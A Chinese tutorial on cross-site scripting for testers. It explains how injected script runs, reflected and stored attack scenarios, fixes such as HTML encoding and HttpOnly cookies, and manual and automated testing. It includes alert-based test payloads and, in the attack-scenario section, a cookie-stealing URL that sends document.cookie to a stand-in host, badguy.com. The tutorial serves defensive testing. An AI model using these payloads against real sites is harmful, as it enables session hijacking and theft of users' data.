`

【系统安全】Web安全测试之XSS

 
阅读更多

XSS 全称(Cross Site Scripting) 跨站脚本攻击, 是Web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的.  比如获取用户的Cookie,导航到恶意网站,携带木马等。

作为测试人员,需要了解XSS的原理,攻击场景,如何修复。 才能有效的防止XSS的发生。

 

阅读目录

  1. XSS 是如何发生的
  2. HTML Encode
  3. XSS 攻击场景
  4. XSS漏洞的修复
  5. 如何测试XSS漏洞
  6. HTML Encode 和URL Encode的区别
  7. 浏览器中的XSS过滤器
  8. ASP.NET中的XSS安全机制

XSS 是如何发生的呢

假如有下面一个textbox

<input type="text" name="address1" value="value1from">

value1from是来自用户的输入,如果用户不是输入value1from,而是输入 "/><script>alert(document.cookie)</script><!- 那么就会变成

<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">

嵌入的JavaScript代码将会被执行

 

或者用户输入的是  "onfocus="alert(document.cookie)      那么就会变成 

<input type="text" name="address1" value="" onfocus="alert(document.cookie)">

 事件被触发的时候嵌入的JavaScript代码将会被执行

 攻击的威力,取决于用户输入了什么样的脚本

 

当然用户提交的数据还可以通过QueryString(放在URL中)和Cookie发送给服务器. 例如下图

 

HTML Encode

XSS之所以会发生, 是因为用户输入的数据变成了代码。 所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的"中括号", “单引号”,“引号” 之类的特殊字符进行编码。

在C#中已经提供了现成的方法,只要调用HttpUtility.HtmlEncode("string <scritp>") 就可以了。  (需要引用System.Web程序集)

Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮

 

XSS 攻击场景

1. Dom-Based XSS 漏洞 攻击过程如下

Tom 发现了Victim.com中的一个页面有XSS漏洞,

例如: http://victim.com/search.asp?term=apple

服务器中Search.asp 页面的代码大概如下

复制代码
<html>
  <title></title>
  <body>
    Results  for  <%Reequest.QueryString("term")%>
    ...
  </body>
</html>
复制代码

Tom 先建立一个网站http://badguy.com,  用来接收“偷”来的信息。
然后Tom 构造一个恶意的url(如下), 通过某种方式(邮件,QQ)发给Monica

http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

Monica点击了这个URL, 嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行. 那么Monica在victim.com网站的cookie, 就会被发送到badguy网站中。这样Monica在victim.com 的信息就被Tom盗了.

 

2. Stored XSS(存储式XSS漏洞), 该类型是应用广泛而且有可能影响大Web服务器自身安全的漏洞,攻击者将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄露的可能。 攻击过程如下

Alex发现了网站A上有一个XSS 漏洞,该漏洞允许将攻击代码保存在数据库中,

Alex发布了一篇文章,文章中嵌入了恶意JavaScript代码。

其他人如Monica访问这片文章的时候,嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中执行,其会话cookie或者其他信息将被Alex盗走。

 

Dom-Based XSS漏洞威胁用户个体,而存储式XSS漏洞所威胁的对象将是大量的用户.

 

XSS 漏洞修复

原则: 不相信客户输入的数据
注意:  攻击代码不一定在<script></script>中

  1. 将重要的cookie标记为http only,   这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
  2. 只允许用户输入我们期望的数据。 例如: 年龄的textbox中,只允许用户输入数字。 而数字之外的字符都过滤掉。
  3. 对数据进行Html Encode 处理
  4. 过滤或移除特殊的Html标签, 例如: <script>, <iframe> ,  &lt; for <, &gt; for >, &quot for
  5. 过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。

如何测试XSS漏洞

方法一:  查看代码,查找关键的变量,   客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单,以及cookie.  例如在ASP的程序中,通过Request对象获取客户端的变量

<%
strUserCode =  Request.QueryString(“code”);
strUser =  Request.Form(“USER”);
strID =    Request.Cookies(“ID”);
%>

假如变量没有经过htmlEncode处理, 那么这个变量就存在一个XSS漏洞

 

 方法二: 准备测试脚本,

"/><script>alert(document.cookie)</script><!--
<script>alert(document.cookie)</script><!--
"onclick="alert(document.cookie)

 在网页中的Textbox或者其他能输入数据的地方,输入这些测试脚本, 看能不能弹出对话框,能弹出的话说明存在XSS漏洞

 在URL中查看有那些变量通过URL把值传给Web服务器, 把这些变量的值退换成我们的测试的脚本。  然后看我们的脚本是否能执行

 

方法三:  自动化测试XSS漏洞
现在已经有很多XSS扫描工具了。 实现XSS自动化测试非常简单,只需要用HttpWebRequest类。 把包含xss 测试脚本。发送给Web服务器。 然后查看HttpWebResponse中,我们的XSS测试脚本是否已经注入进去了。

HTML Encode 和URL Encode的区别

刚开始我老是把这两个东西搞混淆, 其实这是两个不同的东西。 

HTML编码前面已经介绍过了,关于URL 编码是为了符合url的规范。因为在标准的url规范中中文和很多的字符是不允许出现在url中的。

例如在baidu中搜索"测试汉字"。 URL会变成
http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputT=7477

 

所谓URL编码就是: 把所有非字母数字字符都将被替换成百分号(%)后跟两位十六进制数,空格则编码为加号(+

 

在C#中已经提供了现成的方法,只要调用HttpUtility.UrlEncode("string <scritp>") 就可以了。  (需要引用System.Web程序集)

Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮

浏览器中的XSS过滤器

为了防止发生XSS, 很多浏览器厂商都在浏览器中加入安全机制来过滤XSS。 例如IE8,IE9,Firefox, Chrome. 都有针对XSS的安全机制。 浏览器会阻止XSS。 例如下图

 

 如果需要做测试, 最好使用IE7。

 ASP.NET中的XSS安全机制

 ASP.NET中有防范XSS的机制,对提交的表单会自动检查是否存在XSS,当用户试图输入XSS代码的时候,ASP.NET会抛出一个错误如下图

很多程序员对安全没有概念, 甚至不知道有XSS的存在。 ASP.NET在这一点上做到默认安全。 这样的话就算是没有安全意识的程序员也能写出一个”较安全的网站“。

如果想禁止这个安全特性, 可以通过 <%@  Page  validateRequest=“false"  %>

分享到:
评论

相关推荐

    web系统安全和渗透性测试基础

    Web系统安全和渗透性测试是保护在线业务免受恶意攻击的关键环节。在这个领域,了解基本概念、技术以及最佳实践至关重要。下面将详细阐述这个主题。 首先,我们要理解Web系统安全的核心概念。Web系统是由服务器、...

    Web安全测试测试计划编写.pdf

    例如,测试的目的可能是检测Web应用程序中的SQL injection漏洞,或者是检测跨站脚本攻击(XSS)漏洞。 2. 测试范围:确定测试的范围,包括测试的对象、测试的方法和测试的环境。 测试范围是指测试的对象、测试的方法...

    WEB安全性测试测试用例.pdf

    WEB安全性测试是确保网络应用程序安全的重要环节,它涉及到多个方面,包括但不限于SQL注入、跨站脚本(XSS)、跨站请求伪造(CSRF)、不安全的直接对象引用、安全配置错误、敏感数据泄露、不安全的认证机制、未加密...

    Web安全测试规范

    检查服务器、数据库及其他组件的配置是否符合安全最佳实践,如防火墙设置、操作系统安全更新等。 3.7 应急响应与修复 建立安全事件响应机制,确保在发现安全问题后能迅速响应并修复。 综上所述,Web安全测试规范是...

    WEB安全性测试

    Web安全性测试是针对Web应用程序进行的一种关键评估,旨在发现并修复潜在的安全漏洞,防止黑客攻击和数据泄露。由于Web应用在现代社会中的广泛应用,它们成为网络犯罪分子的主要目标。忽视安全测试可能导致用户数据...

    web安全之XSS攻击及防御pdf

    ### Web安全之XSS攻击及防御 #### 一、XSS基本原理 ##### 1.1 什么是XSS 跨站脚本攻击(Cross-Site Scripting,简称XSS)是一种常见的Web应用程序安全漏洞,其形成原因主要是由于Web应用程序对用户输入的数据过滤不...

    Web入侵安全测试与对策

    《Web入侵安全测试与对策》一书深入探讨了网络安全领域中的关键话题——Web安全,它不仅阐述了Web安全的基础概念,还提供了针对Web入侵的防范策略。在数字化日益普及的今天,Web应用已经成为日常生活和商业活动中不...

    WEB安全测试资料汇总.rar

    3. **安全测试培训PPT**:这类材料提供了系统化的学习路径,涵盖了Web安全的基础概念、常见威胁、防御策略以及测试技巧。通过PPT,我们可以以视觉化的方式快速掌握核心概念,并为团队培训提供便利。 4. **安全测试...

    Web安全测试、Web渗透测试

    【Web安全测试、Web渗透测试】是网络安全领域的重要组成部分,主要关注Web应用程序的安全性,防止恶意攻击者利用漏洞对系统造成破坏或盗取敏感信息。本文将深入探讨Web安全测试中的逻辑漏洞及其防范策略。 首先,...

    Web安全测试全解.zip

    1. **OWASP(开放网络应用安全项目)十大风险**:这是Web安全测试的基石,包括SQL注入、跨站脚本(XSS)、未验证的重定向和转发等常见威胁。 2. **渗透测试**:通过模拟黑客攻击行为来发现系统漏洞的过程,包括黑盒...

    什么是web安全性测试

    综上所述,Web安全性测试是一个多层面、深度覆盖的过程,涉及到从基础架构到用户交互的每一个环节,目的是构建一个抵御各种攻击的安全Web环境。通过这样的测试,可以识别并消除潜在风险,增强用户的信任,同时保护...

    基于Web的系统测试方法/网站测试

    5. **安全性测试**:检查系统的安全防护能力,包括防止SQL注入、XSS攻击,以及数据加密、用户认证和授权等方面的测试。 6. **响应式和移动设备测试**:随着移动设备的普及,测试系统在不同屏幕尺寸和操作系统上的...

    Web安全测试基础知识

    Web安全测试是针对基于Web的应用程序进行的一种安全性评估,旨在发现并修复潜在的安全漏洞,防止黑客攻击和数据泄露。在Web应用开发过程中,安全测试是一个不可或缺的环节,它包括了多个层面的检查和验证。 首先,...

    Java Web XSS安全防御

    XSS(Cross Site Scripting)攻击是网络安全中常见的威胁之一,尤其是在Java Web开发中。这种攻击允许黑客通过注入恶意脚本到网页中,从而窃取用户的敏感信息,如Cookie、Session等。为了保障Web应用程序的安全性,...

Global site tag (gtag.js) - Google Analytics